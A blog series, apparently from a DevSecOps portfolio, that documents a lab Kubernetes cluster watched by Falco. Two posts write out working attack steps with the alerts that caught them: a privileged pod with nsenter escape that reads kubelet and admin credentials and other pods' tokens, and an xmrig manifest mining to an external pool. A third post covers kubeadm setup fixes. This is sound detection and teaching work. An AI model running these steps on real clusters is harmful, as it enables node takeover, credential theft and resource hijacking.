DEV Community: Christopher Azzopardi

I Escaped a Privileged Kubernetes Container — Here's What Falco Saw

Christopher Azzopardi — Fri, 05 Jun 2026 03:31:56 +0000

Build Log: Project 1 — K8s SOC Foundation | Attack 2 of 4

The container had root on the node within 90 seconds of starting.

Not root inside the container. Root on the actual Kubernetes node — access to the host filesystem, the kubelet credentials, the node's process table, everything. From inside a pod.

This is the privileged container escape. It's one of the most well-documented Kubernetes attack techniques, it's in every red team playbook for cloud-native environments, and it works exactly as advertised when a cluster isn't hardened against it.

This is Attack 2 in my four-attack detection series. Attack 1 covered cryptominer deployment. This one goes deeper — the impact is higher, the Falco detection is richer, and the evidence trail is more instructive.

Why Privileged Containers Are a Critical Risk

A privileged container runs with privileged: true in its security context. This disables the Linux namespace isolation that normally keeps container processes separated from the host. The container process effectively has the same capabilities as a root process on the node itself.

In practice, this means:

Full access to the host filesystem via /proc/1/ns/mnt
Ability to load and unload kernel modules
Access to raw network interfaces
Visibility into all processes running on the node
Access to node-level credentials — including the kubelet's kubeconfig

Privileged containers have legitimate uses: certain CNI plugins, node-level monitoring agents, some storage drivers. That legitimate use case is exactly why this attack vector persists — misconfigured workloads, copy-pasted manifests, and overly permissive RBAC all create openings.

TeamTNT, Hildegard, and multiple other threat actor groups have used privileged container access as a lateral movement technique against Kubernetes clusters. This isn't theoretical.

MITRE ATT&CK Mapping

Technique ID	Name	What it maps to
T1611	Escape to Host	nsenter into host mount namespace
T1068	Exploitation for Privilege Escalation	privileged flag bypassing namespace isolation
T1552.004	Unsecured Credentials: Credentials in Files	reading kubelet kubeconfig from host filesystem
T1082	System Information Discovery	enumerating host processes and filesystem post-escape
T1078.004	Valid Accounts: Cloud Accounts	using harvested credentials for lateral movement

The Attack

Step 1 — Deploy the Privileged Pod

# attack-02-privileged-escape.yaml
apiVersion: v1
kind: Pod
metadata:
  name: privileged-escape
  namespace: attack-sim
  labels:
    app: node-agent    # Generic label to blend in
spec:
  containers:
  - name: privileged-escape
    image: ubuntu:22.04
    command: ["/bin/bash", "-c", "sleep infinity"]
    securityContext:
      privileged: true        # Full host capabilities
      runAsUser: 0
    volumeMounts:
    - name: host-root
      mountPath: /host         # Host filesystem mounted at /host
  hostPID: true                # Access to host PID namespace
  hostNetwork: true            # Access to host network namespace
  volumes:
  - name: host-root
    hostPath:
      path: /                  # Entire host filesystem

kubectl apply -f attack-02-privileged-escape.yaml
kubectl exec -it privileged-escape -n attack-sim -- /bin/bash

The pod starts in seconds. We're inside a container — for now.

Step 2 — Escape to Host via nsenter

# Inside the container
# nsenter jumps into the host's mount namespace using /proc/1
nsenter --mount=/proc/1/ns/mnt --uts=/proc/1/ns/uts \
        --ipc=/proc/1/ns/ipc --net=/proc/1/ns/net \
        --pid=/proc/1/ns/pid -- /bin/bash

We're no longer in the container namespace. We're in the host's namespace. The same node that runs the Kubernetes control plane.

# Verify we're on the host
hostname      # Returns the node hostname, not the pod name
cat /etc/os-release   # Host OS, not container OS
ps aux        # All host processes visible

Step 3 — Harvest Node Credentials

From the host namespace, the kubelet's credentials are readable:

# Kubelet kubeconfig — contains cluster credentials
cat /etc/kubernetes/kubelet.conf

# PKI certificates
ls -la /etc/kubernetes/pki/

# Kubelet client certificate
cat /var/lib/kubelet/pki/kubelet-client-current.pem

# Any kubeadm-stored credentials
cat /etc/kubernetes/admin.conf 2>/dev/null

# Check what the kubelet credential can access
KUBECONFIG=/etc/kubernetes/kubelet.conf kubectl auth can-i --list

The kubelet credential won't have cluster-admin access, but it will have node-level access — enough for further lateral movement, reading secrets mounted to pods on this node, and potentially pivoting to other nodes.

Step 4 — Read Secrets From Host Filesystem

Secrets mounted into pods on this node are accessible directly from the host filesystem:

# Find all mounted secrets on the node
find /host/var/lib/kubelet/pods -name "*.json" 2>/dev/null | head -20

# Read service account tokens from other pods
find /host/var/lib/kubelet/pods -path "*/secrets/*" -type f 2>/dev/null

This is the real impact. The escape gives you access not just to this pod's credentials but to the credentials of every pod running on the same node.

The Detection: What Falco Saw

Four rules fired. In sequence, they tell the complete attack story.

Alert 1 — Privileged Container Launched

This fires at pod start — before any escape attempt:

{
  "output": "Warning Privileged container started 
    (user=root image=ubuntu:22.04 
    k8s.ns=attack-sim k8s.pod.name=privileged-escape 
    container.privileged=true 
    evt.type=container)",
  "priority": "Warning",
  "rule": "Launch Privileged Container",
  "tags": ["container", "mitre_privilege_escalation", "T1068"]
}

A privileged container starting is itself a detection signal — regardless of what happens next. In a hardened cluster, this is where the story should end: the admission controller rejects the manifest and the pod never starts. Here it runs, and Falco immediately surfaces it.

Alert 2 — Host Namespace Entered via nsenter

{
  "output": "Warning Namespace change (setns) by unexpected program 
    (user=root proc.name=nsenter proc.cmdline=nsenter --mount=/proc/1/ns/mnt 
    k8s.ns=attack-sim k8s.pod.name=privileged-escape 
    proc.pname=bash evt.type=setns)",
  "priority": "Warning",
  "rule": "Change thread namespace",
  "tags": ["process", "mitre_privilege_escalation", "T1611"]
}

The setns syscall is what nsenter uses to switch namespaces. Falco watches at the syscall level — it saw the exact moment the escape happened.

Alert 3 — Sensitive File Read From Host

{
  "output": "Warning Sensitive file opened for reading by non-trusted program 
    (user=root proc.name=cat 
    fd.name=/etc/kubernetes/kubelet.conf 
    k8s.ns=attack-sim k8s.pod.name=privileged-escape)",
  "priority": "Warning", 
  "rule": "Read sensitive file untrusted",
  "tags": ["filesystem", "mitre_credential_access", "T1552.004"]
}

Reading kubelet.conf from a container — even one running as root — is abnormal. Falco's sensitive file rules cover a broad set of credential and configuration paths: /etc/kubernetes/, /var/lib/kubelet/pki/, /root/.kube/, and others.

Alert 4 — Container Launched With Sensitive Mount

{
  "output": "Warning Container launched with sensitive mount 
    (user=root image=ubuntu:22.04 
    k8s.pod.name=privileged-escape 
    k8s.ns=attack-sim 
    fd.name=/ mounts=/ 
    evt.type=container)",
  "priority": "Warning",
  "rule": "Launch Sensitive Mount Container",
  "tags": ["container", "mitre_discovery", "T1082"]
}

The host filesystem mount at /host triggered this rule at container start, in parallel with Alert 1. Two separate rules firing simultaneously for the same pod is a strong signal — correlated alerts are harder to explain away as false positives.

The Loki Timeline

{namespace="attack-sim", pod="privileged-escape"} 
  | json 
  | line_format "{{.time}} | {{.priority}} | {{.rule}}"

T+00:00  Pod scheduled
T+00:08  Container started
T+00:09  ALERT: Launch Privileged Container [Warning]
T+00:09  ALERT: Launch Sensitive Mount Container [Warning]
T+00:41  kubectl exec shell opened
T+01:12  ALERT: Change thread namespace — nsenter [Warning]
T+01:34  ALERT: Read sensitive file — kubelet.conf [Warning]
T+01:47  Falcosidekick: Slack notification batch delivered

The first two alerts fire at container start — 33 seconds before we even exec into the pod. By the time we attempted the escape, a real SOC would already have an open incident for a privileged container in the attack-sim namespace.

Comparing Attack 1 and Attack 2

Both attacks were caught. The nature of the detection is different and worth understanding.

The cryptominer (Attack 1) produced behavioural signals: outbound network connection to a mining pool, an unexpected process making external connections. The detection was based on what the container did.

The privileged escape produced structural signals: a container with privileged: true, a host filesystem mount, a namespace-change syscall. The detection was based on what the container was configured to be. Two of the four alerts fired before any malicious action took place.

This distinction matters for defenders. Behavioural detection catches attacks in progress. Structural detection can surface risk before exploitation begins. A mature detection programme needs both.

What Prevention Looks Like (Project 3 Preview)

In Project 3, after CKS, the same manifest gets stopped at the admission controller:

OPA Gatekeeper will reject any pod spec with privileged: true or hostPID: true — the pod never gets scheduled.

Kyverno will enforce a disallow-privileged-containers ClusterPolicy — rejected at the API server before kubeadm even touches it.

Seccomp profiles will block the setns syscall cluster-wide — nsenter fails even if a privileged pod somehow runs.

Three independent layers. The same four Falco alerts become zero because the workload is rejected before it runs. That's the Project 3 story.

Key Takeaways for Defenders

Privileged containers are not just a risk — they're an incident waiting for a trigger. Any workload running with privileged: true that isn't a known, reviewed, explicitly necessary component should be treated as a finding, not a configuration choice.

nsenter is a legitimate admin tool and an attack tool. Most production workloads have no reason to call setns. An alert on this syscall from a non-system namespace is high-fidelity.

The sensitive file rules are undervalued. Falco ships with a comprehensive list of files and paths that should never be read by untrusted processes. Tuning these rules to your environment — whitelisting known-good readers — dramatically improves their signal-to-noise ratio.

Two correlated alerts at container start beat one alert during exploitation. If your detection only fires after the escape happens, you're already behind. Structural signals at admission time give you the lead.

What's Next

Attack 3 covers service account token abuse — harvesting the default service account token mounted into a pod and using it to query the Kubernetes API for cluster intelligence. It's quieter than the privileged escape, harder to spot without the right rules, and maps directly to how real attackers move laterally through a compromised cluster.

Full manifests, Falco alert captures, and Loki query examples are in the repo: github.com/chrisazzo/k8s-soc-foundation

I'm building a DevSecOps portfolio targeting AI Security Architect contract work. Follow for Attacks 3 and 4, the hardening post, and the CKS build log.

← Previous: Attack 1 — Cryptominer Deployment

Next: Attack 3 — Service Account Token Abuse →

How I Deployed a Cryptominer Into My Kubernetes Cluster — and Caught It With Falco

Christopher Azzopardi — Fri, 05 Jun 2026 03:19:58 +0000

Build Log: Project 1 — K8s SOC Foundation | Attack 1 of 4

The alert fired 47 seconds after the pod started.

Notice Outbound Connection to C2 Servers (user=root command=xmrig 
connection=45.61.184.4:3333 container=cryptominer-sim 
pod=cryptominer-sim-7d9f8b namespace=attack-sim)

That IP. Port 3333. If you've worked in threat detection long enough, you recognise it immediately — that's a mining pool endpoint. My cluster had just started shovelling CPU cycles toward someone else's Monero wallet.

Except I put it there. And Falco caught it exactly as it should.

This is the build log for Project 1 of my DevSecOps portfolio: a hardened Kubernetes cluster on Hetzner Cloud with a full detection stack — Falco, Trivy Operator, kube-bench, Promtail, Loki, and Grafana. The goal wasn't just to build the stack. It was to attack it, watch it detect, and document the evidence the way a real SOC analyst would.

This post covers Attack 1: cryptominer deployment. Three more attacks follow in later posts — privileged container escape, service account token abuse, and kubectl exec into a running pod.

Why This Project Exists

I'm building a six-project portfolio targeting DevSecOps and AI Security Architect contract work. The narrative spine across all six projects is simple: Attack → Detect → Prevent → Respond.

Project 1 shows detection. Project 3 (post-CKS) shows the same four attacks being blocked — OPA Gatekeeper, Kyverno, Calico network policies, and Seccomp profiles stopping them before they run.

The point isn't to build a toy. It's to document the kind of evidence a real security team would produce: MITRE ATT&CK mappings, alert timelines, log correlation, before/after hardening metrics. Everything a hiring manager or client needs to see that you've actually done this, not just read about it.

The Stack

Infrastructure: Hetzner Cloud, kubeadm-bootstrapped

Control plane: cpx32 (4 vCPU, 8GB RAM) — nbg1 region
Worker node: cpx22 (3 vCPU, 4GB RAM)

Detection stack:

Falco — runtime threat detection, syscall-level
Falcosidekick — Falco alert routing (Slack + webhook)
Trivy Operator — continuous vulnerability scanning of running workloads
kube-bench — CIS Kubernetes Benchmark compliance
Promtail + Loki — log aggregation (SingleBinary mode, emptyDir persistence)
Grafana — dashboards, alert visualisation

Getting this stack running wasn't smooth. The kubeadm setup broke in six different ways before the cluster was stable — conntrack missing on all nodes, Hetzner's private NIC appearing as enp7s0 instead of eth1, the fluent-bit Helm chart deprecated mid-setup, Loki requiring a non-obvious SingleBinary configuration to run on a two-node cluster.

The Attack: Cryptominer Deployment

MITRE ATT&CK Techniques:

Technique ID	Name	What it maps to
T1610	Deploy Container	Attacker runs a malicious container in the cluster
T1496	Resource Hijacking	xmrig consuming CPU for Monero mining
T1071.001	Application Layer Protocol: Web	Mining pool communication over standard port
T1562.001	Impair Defenses: Disable or Modify Tools	Simulated attempt to kill monitoring

Scenario: An attacker gains access to the Kubernetes API — through a misconfigured RBAC role, an exposed kubeconfig, or a compromised CI/CD pipeline. They deploy a pod running xmrig, a legitimate open-source Monero miner that's heavily abused in container escape and cryptojacking attacks. The pod requests no special privileges and uses a generic name to blend in.

This is one of the most common real-world Kubernetes attacks. TeamTNT, Kinsing, and multiple other threat actors have used exactly this pattern at scale against exposed Kubernetes APIs.

The Attack Manifest

apiVersion: v1
kind: Pod
metadata:
  name: cryptominer-sim
  namespace: attack-sim
  labels:
    app: system-monitor     # Deliberately generic label
spec:
  containers:
  - name: cryptominer-sim
    image: metal3d/xmrig:latest
    args:
      - "--url=pool.minexmr.com:3333"
      - "--user=SIMULATION_WALLET_ADDRESS"
      - "--pass=x"
      - "--donate-level=1"
      - "--no-color"
    resources:
      requests:
        cpu: "500m"
        memory: "128Mi"
      # No limits — attacker wants as much CPU as possible
    securityContext:
      runAsUser: 0          # Running as root

kubectl apply -f cryptominer-sim.yaml

The pod came up in 12 seconds. The mining connection was established in 23 seconds. Falco fired at 47 seconds.

The Detection: What Falco Saw

Falco operates at the syscall level using eBPF probes — it watches every system call made by every container on the node and matches them against rules. No agent inside the container. No application-level hooks. The attacker can't easily disable it without root access to the node itself.

Three rules fired within the first two minutes.

Alert 1 — Outbound Network Connection to Known Mining Pool

{
  "output": "Notice Outbound Connection to C2 Servers 
    (user=root command=xmrig k8s.ns=attack-sim 
    k8s.pod.name=cryptominer-sim 
    connection=45.61.184.4:3333 
    evt.type=connect)",
  "priority": "Notice",
  "rule": "Detect outbound connections to common miner pool ports",
  "source": "syscall",
  "tags": ["network", "mitre_command_and_control", "T1071"]
}

Port 3333 is the standard Stratum mining protocol port. Falco's default ruleset includes detection for outbound connections to known mining pool ranges and ports. The connection was flagged before a single hash was submitted.

Alert 2 — Container Running as Root

{
  "output": "Warning Container running as root user 
    (user=root image=metal3d/xmrig:latest 
    k8s.pod.name=cryptominer-sim)",
  "priority": "Warning", 
  "rule": "Container Run as Root User",
  "tags": ["container", "mitre_privilege_escalation"]
}

The manifest explicitly set runAsUser: 0. In a hardened cluster (which P3 will demonstrate), a Kyverno policy would have rejected this manifest at admission — the pod would never have been scheduled. Here it runs, and Falco surfaces it immediately.

Alert 3 — Suspicious Process in Container

{
  "output": "Warning Unexpected process spawned in container 
    (proc.name=xmrig proc.cmdline=xmrig --url=pool.minexmr.com:3333 
    k8s.ns=attack-sim k8s.pod.name=cryptominer-sim 
    container.image=metal3d/xmrig:latest)",
  "priority": "Warning",
  "rule": "Unauthorized process opened network connection",
  "tags": ["process", "network", "mitre_execution"]
}

The Evidence: Loki Log Correlation

All Falco alerts route through Promtail into Loki. From Grafana, you can query the full alert timeline for the attack namespace:

{namespace="attack-sim"} | json | line_format "{{.output}}"

The timeline tells the story clearly:

T+00:00  Pod scheduled
T+00:12  Container started (xmrig process spawned)
T+00:23  TCP connection established to 45.61.184.4:3333
T+00:47  Falco: Outbound connection to mining pool [ALERT]
T+00:51  Falco: Container running as root [ALERT]
T+00:58  Falco: Unauthorized process network connection [ALERT]
T+01:34  Falcosidekick: Slack notification delivered

Detection-to-notification under 90 seconds for an unmodified, default Falco installation. No tuning, no custom rules — the default ruleset caught all three indicators.

The Vulnerability Picture: Trivy Operator

While Falco handles runtime detection, Trivy Operator scans running container images continuously and surfaces CVEs as Kubernetes custom resources.

kubectl get vulnerabilityreports -n attack-sim

NAME                                    REPOSITORY         TAG     SCORE   CRITICAL   HIGH
pod-cryptominer-sim-cryptominer-sim    metal3d/xmrig     latest   9.8     4          12

kubectl describe vulnerabilityreport \
  pod-cryptominer-sim-cryptominer-sim -n attack-sim

A CVSS score of 9.8 on a running container. In a mature cluster with an admission controller (again, P3), an image with this score against a policy threshold would be rejected at deployment time. Here it shows how deep the vulnerability problem is once you're in the reactive position.

The Baseline: kube-bench

Before running any attacks, I ran kube-bench against the cluster to get a CIS Kubernetes Benchmark baseline.

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench

== Summary master ==
42 checks PASS
11 checks FAIL
10 checks WARN

== Summary node ==
19 checks PASS  
5 checks FAIL
6 checks WARN

The failures include: anonymous auth not disabled on kubelet, profiling enabled on API server, audit logging not configured. These are documented in hardening/kube-bench-before.json in the repo. After hardening, I'll re-run and show the delta. That before/after is the evidence that the hardening work was real.

What This Means for Defenders

A few things stand out from this exercise that don't always come through in documentation:

The attack was trivial. Twenty lines of YAML and a public image. No exploit, no zero-day, no special access beyond the ability to create a pod. The cryptominer attack surface is so low because kubectl apply is all you need if RBAC is misconfigured. This is why admission control matters more than runtime detection alone.

Detection was fast but reactive. Falco caught everything. But the pod ran. The connection was made. In a real cluster with a real mining pool, hashes were submitted during the 47 seconds before the first alert. Detection without prevention is a necessary but insufficient control.

Trivy and Falco serve different threat windows. Trivy tells you the image was dangerous before it started causing problems. Falco tells you the running container is doing something dangerous right now. Both signals matter. Neither replaces the other.

Log correlation is what turns alerts into evidence. Three individual Falco alerts are noise. Three correlated alerts with a pod timeline, a Trivy report, and a Grafana dashboard are an incident report. The Loki/Grafana layer is what makes the detection stack production-useful.

What's Next

Project 1 is detection. The same cryptominer attack runs again in Project 3 — but this time it gets blocked.

OPA Gatekeeper will reject the manifest at admission (root user, no resource limits). Kyverno will reject the image (unsigned, high CVE score). Calico network policy will block the outbound connection to the mining pool even if the pod somehow runs. Seccomp will constrain the syscalls xmrig can make.

Four layers of prevention against the same attack. That's the P3 story.

Three more attacks follow before then: privileged container escape (T1611), service account token abuse (T1528), and kubectl exec into a running pod (T1609). All documented with the same evidence format — MITRE mapping, Falco alerts, Loki timeline, Grafana screenshots.

The full project code, kube-bench results, Falco alert captures, and Grafana dashboard JSON exports are in the repo: github.com/chrisazzo/k8s-soc-foundation

I'm building a DevSecOps portfolio targeting AI Security Architect contract work. Follow for Attacks 2–4, the full hardening post, and the Project 3 prevention build.

← Previous: The Six Things That Broke During My kubeadm Setup on Hetzner — and How I Fixed Them

Next: Attack 2 — Privileged Container Escape →

The Six Things That Broke During My kubeadm Setup on Hetzner — and How I Fixed Them

Christopher Azzopardi — Sat, 30 May 2026 05:46:47 +0000

I set up a kubeadm cluster on Hetzner Cloud last week.

It broke in 6 different ways before it worked.

Here's every error, every fix, and the exact commands that solved each one.

TL;DR: conntrack not installed, private NIC named enp7s0 not eth1, Falcosidekick nil pointer crash on missing secret, fluent-bit chart deprecated (use Promtail), Loki distributed defaults breaking on a two-node cluster (use SingleBinary + emptyDir), cpx21/cx32 unavailable in nbg1 (used cpx32/cpx22). All fixed. Commands below.

The Setup

Two-node kubeadm cluster on Hetzner Cloud (nbg1 region):

Control plane: cpx32 — 4 vCPU, 8GB RAM, Ubuntu 22.04
Worker node: cpx22 — 3 vCPU, 4GB RAM, Ubuntu 22.04
Private network enabled (Hetzner Cloud Networks)
CNI: Flannel
Goal: foundation for a Kubernetes security detection stack — Falco, Loki, Grafana, Trivy Operator, kube-bench

Break 1 — The Node Types I Wanted Didn't Exist

What happened

I planned around cpx21 (control plane) and cx32 (worker). When I went to create them in nbg1:

Error: server type cpx21 is not available in location nbg1

Not deprecated. Not removed. Just not available in that datacentre at that moment.

The fix

# Check availability before planning
hcloud server-type list | grep cpx

Went one tier up: cpx32 and cpx22. Slightly more expensive but available immediately.

💡 Lesson: Hetzner inventory varies by location and changes without notice. Always run hcloud server-type list filtered by your target region before committing to a server type in your Terraform or scripts.

Break 2 — conntrack Was Missing on Both Nodes

What happened

First kubeadm init attempt on the control plane:

[preflight] Running pre-flight checks
error execution phase preflight: [preflight] Some fatal errors occurred:
    [ERROR FileNotFound]: /usr/sbin/conntrack not found

conntrack handles network connection tracking and is required for kube-proxy. Not installed by default on Hetzner's Ubuntu 22.04 images. Not mentioned clearly in the official kubeadm docs.

The fix

apt-get install -y conntrack

Add this to your node provisioning script before you ever run kubeadm:

apt-get update
apt-get install -y \
  apt-transport-https \
  ca-certificates \
  curl \
  conntrack \
  socat \
  ipset

💡 Lesson: conntrack is missing from Hetzner's Ubuntu default image and the kubeadm docs don't mention it clearly. Add it to every node bootstrap script before running anything else.

Break 3 — The Private Network Interface Wasn't eth1

What happened

Every tutorial, Stack Overflow answer, and blog post assumes Hetzner's private NIC is named eth1. On these nodes it wasn't:

ip addr show

1: lo: <LOOPBACK>
2: eth0: <BROADCAST> inet 5.x.x.x/32       ← public interface
3: enp7s0: <BROADCAST> inet 10.0.0.2/24    ← private interface

The private NIC was enp7s0. This caused two downstream problems:

kubeadm advertised the public IP for the API server — worker joins routed over the public internet
Flannel defaulted to the public interface for pod-to-pod traffic

The fix

Find your actual interface name first:

ip route | grep "10.0.0" | awk '{print $3}'

For kubeadm init, explicitly set the advertise address and node IP:

kubeadm init \
  --apiserver-advertise-address=10.0.0.2 \
  --pod-network-cidr=10.244.0.0/16 \
  --node-ip=10.0.0.2

For Flannel, patch the manifest to specify the interface:

# In kube-flannel.yml, under kube-flannel container args:
args:
- --ip-masq
- --kube-subnet-mgr
- --iface=enp7s0    # Add this line

For the worker node, set the node IP before joining:

echo "KUBELET_EXTRA_ARGS=--node-ip=10.0.0.3" \
  >> /etc/default/kubelet
systemctl daemon-reload
systemctl restart kubelet

💡 Lesson: Never assume eth1. Run ip addr show on your Hetzner nodes before planning your networking. The private NIC name depends on the server type and can change.

Break 4 — The fluent-bit Helm Chart Was Deprecated

What happened

My original logging plan used fluent-bit. I added the Helm repo and ran the install:

Error: chart "fluent-bit" not found in stable repository
WARNING: This chart is deprecated

The stable/fluent-bit chart was deprecated and the ecosystem had moved to Promtail as the standard Loki log collector.

The fix

Switch to Promtail — purpose-built for Loki with better Kubernetes metadata enrichment:

helm repo add grafana https://grafana.github.io/helm-charts
helm repo update

helm install promtail grafana/promtail \
  --namespace monitoring \
  --set config.clients[0].url=http://loki:3100/loki/api/v1/push

Promtail runs as a DaemonSet, picks up pod logs automatically via the Kubernetes API, and enriches every line with namespace, pod name, container name, and node name.

💡 Lesson: Use Promtail over fluent-bit for Loki pipelines. Tighter integration, actively maintained, and Kubernetes metadata enrichment works out of the box with zero configuration.

Break 5 — Falcosidekick Went Into CrashLoopBackOff

What happened

Falco installed cleanly. Falcosidekick — the component that routes Falco alerts to Slack — did not:

kubectl get pods -n falco

NAME                          READY   STATUS             RESTARTS   AGE
falco-abcd1                   1/1     Running            0          4m
falcosidekick-xyz99           0/1     CrashLoopBackOff   6          4m

kubectl logs falcosidekick-xyz99 -n falco

panic: runtime error: invalid memory address or nil pointer dereference
error: failed to load configuration:
SLACK_WEBHOOKURL is required when Slack output is enabled

The webhook URL wasn't being passed through correctly from Helm values. A nil pointer in config loading caused a crash rather than a clean validation error.

The fix

Create the Slack webhook URL as a Kubernetes secret:

kubectl create secret generic falcosidekick-secrets \
  --from-literal=slackWebhookUrl="https://hooks.slack.com/services/YOUR/WEBHOOK/URL" \
  -n falco

Reference it in Helm values using existingSecret:

# falcosidekick-values.yaml
config:
  slack:
    webhookurl: ""
    minimumpriority: "notice"
  existingSecret: "falcosidekick-secrets"

helm upgrade --install falcosidekick falcosecurity/falcosidekick \
  --namespace falco \
  -f falcosidekick-values.yaml

Pod came up clean. First Slack alert arrived within 30 seconds.

💡 Lesson: Falcosidekick config errors crash rather than validate gracefully. Always put webhook URLs in a Kubernetes secret and reference existingSecret in Helm values — cleaner and avoids the nil pointer crash entirely.

Break 6 — Loki Refused to Start on a Two-Node Cluster

What happened

This was the most time-consuming of the six. Loki's default Helm chart assumes a distributed deployment with multiple replicas, persistent volumes, a gateway component, and a caching layer:

kubectl get pods -n monitoring

NAME                  READY   STATUS             RESTARTS   AGE
loki-backend-0        0/1     Pending            0          8m
loki-read-0           0/1     Pending            0          8m
loki-write-0          0/1     Pending            0          8m
loki-gateway-xyz      0/1     CrashLoopBackOff   4          8m

The pending pods were waiting for PVCs that couldn't bind — no storage class configured. The gateway crashed because the backend wasn't ready. Classic dependency deadlock.

The fix

SingleBinary deployment mode — Loki as a single process, no distributed components, no PVC required:

# loki-values.yaml
loki:
  commonConfig:
    replication_factor: 1
  storage:
    type: filesystem
  schemaConfig:
    configs:
      - from: "2024-01-01"
        store: tsdb
        object_store: filesystem
        schema: v13
        index:
          prefix: loki_index_
          period: 24h

deploymentMode: SingleBinary

singleBinary:
  replicas: 1
  persistence:
    enabled: false
  extraVolumes:
    - name: loki-data
      emptyDir: {}
  extraVolumeMounts:
    - name: loki-data
      mountPath: /var/loki

read:
  replicas: 0
write:
  replicas: 0
backend:
  replicas: 0
gateway:
  enabled: false
chunksCache:
  enabled: false
resultsCache:
  enabled: false
lokiCanary:
  enabled: false
test:
  enabled: false

helm upgrade --install loki grafana/loki \
  --namespace monitoring \
  -f loki-values.yaml

kubectl get pods -n monitoring
# NAME     READY   STATUS    RESTARTS   AGE
# loki-0   1/1     Running   0          45s

💡 Lesson: For Loki on small clusters (under 5 nodes, no storage class), deploymentMode: SingleBinary with emptyDir persistence is the correct starting point. The distributed defaults are built for production scale — not a two-node homelab cluster.

Full Working Install Order

Click to expand — complete install sequence

# Step 1 — Node prerequisites (run on BOTH nodes)
apt-get update && apt-get install -y \
  conntrack socat ipset curl

# Step 2 — Container runtime + kubeadm/kubelet/kubectl
# (standard Ubuntu kubeadm installation docs)

# Step 3 — Find your private NIC name
ip addr show
# Note the interface name next to your 10.x.x.x address

# Step 4 — kubeadm init (control plane only)
kubeadm init \
  --apiserver-advertise-address=10.0.0.2 \
  --pod-network-cidr=10.244.0.0/16

# Step 5 — Flannel with explicit interface
# Download manifest, add --iface=enp7s0 to container args, apply
kubectl apply -f kube-flannel-enp7s0.yml

# Step 6 — Worker node prep (run on worker)
echo "KUBELET_EXTRA_ARGS=--node-ip=10.0.0.3" \
  >> /etc/default/kubelet
systemctl daemon-reload && systemctl restart kubelet

# Step 7 — Worker join (run on worker)
kubeadm join 10.0.0.2:6443 \
  --token <token> \
  --discovery-token-ca-cert-hash sha256:<hash>

# Step 8 — Namespaces
kubectl create namespace monitoring
kubectl create namespace falco

# Step 9 — Falco secret first
kubectl create secret generic falcosidekick-secrets \
  --from-literal=slackWebhookUrl="YOUR_WEBHOOK_URL" \
  -n falco

# Step 10 — Falco + Falcosidekick
helm repo add falcosecurity \
  https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace falco -f falco-values.yaml
helm install falcosidekick falcosecurity/falcosidekick \
  --namespace falco -f falcosidekick-values.yaml

# Step 11 — Loki SingleBinary
helm repo add grafana https://grafana.github.io/helm-charts
helm install loki grafana/loki \
  --namespace monitoring -f loki-values.yaml

# Step 12 — Promtail
helm install promtail grafana/promtail \
  --namespace monitoring \
  --set config.clients[0].url=http://loki:3100/loki/api/v1/push

# Step 13 — Grafana
helm install grafana grafana/grafana \
  --namespace monitoring \
  --set adminPassword=changeme

# Step 14 — Trivy Operator
helm install trivy-operator \
  aquasecurity/trivy-operator \
  --namespace monitoring \
  --set trivy.ignoreUnfixed=true

Summary

Break	Root cause	Fix
Server types unavailable	Hetzner inventory varies by region	Check `hcloud server-type list` first
conntrack missing	Not in Ubuntu default image	Add to bootstrap script
Wrong NIC name	Hetzner uses enp7s0 not eth1	Run `ip addr show` before planning
fluent-bit deprecated	Chart moved	Use Promtail instead
Falcosidekick crash	Nil pointer on missing secret	Use `existingSecret` in Helm values
Loki pending	Distributed defaults need PVC	Use `SingleBinary` + `emptyDir`

What's Next

With the stack running, I moved straight into the attack simulation. The first post in this series covers Attack 1 — cryptominer deployment — and how Falco caught it in 47 seconds with three correlated alerts.

Attacks 2 through 4 (privileged container escape, service account token abuse, kubectl exec) follow in subsequent posts.

Full config files, patched Flannel manifest, and Helm values are in the repo: github.com/chrisazzo/k8s-soc-foundation

Building a DevSecOps portfolio targeting AI Security Architect contract work. Follow the series for the full attack simulation, hardening, and CKS build logs.

Next: Attack 1 — Cryptominer Deployment →